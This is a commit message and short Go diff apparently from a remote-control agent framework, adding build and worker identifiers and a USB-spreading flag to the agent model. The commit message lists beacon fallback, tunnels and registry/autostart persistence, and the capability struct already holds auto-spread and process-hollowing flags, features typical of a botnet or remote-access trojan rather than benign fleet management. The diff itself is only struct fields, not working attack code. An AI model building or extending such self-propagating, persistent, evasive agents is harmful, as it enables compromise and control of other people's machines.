feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/internal/models/agent.go

@@ -34,6 +34,10 @@ type Agent struct {
 	Hostname   string `json:"hostname,omitempty"`
 	MacAddress string `json:"mac_address,omitempty"`
 
+	BuildID    string `json:"build_id,omitempty"`
+	WorkerName string `json:"worker_name,omitempty"`
+	USBSpread  bool   `json:"usb_spread,omitempty"`
+
 	// Live connection quality — not persisted, set by WSHub each stats cycle.
 	LatencyMs *int `json:"latency_ms,omitempty"`
 
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
 	AutoSpread       bool `json:"auto_spread"`
 	ProcessHollowing bool `json:"process_hollowing"`
 	AIEnabled        bool `json:"ai_enabled"`
+	USBSpread        bool `json:"usb_spread"`
 }
 
 type Share struct {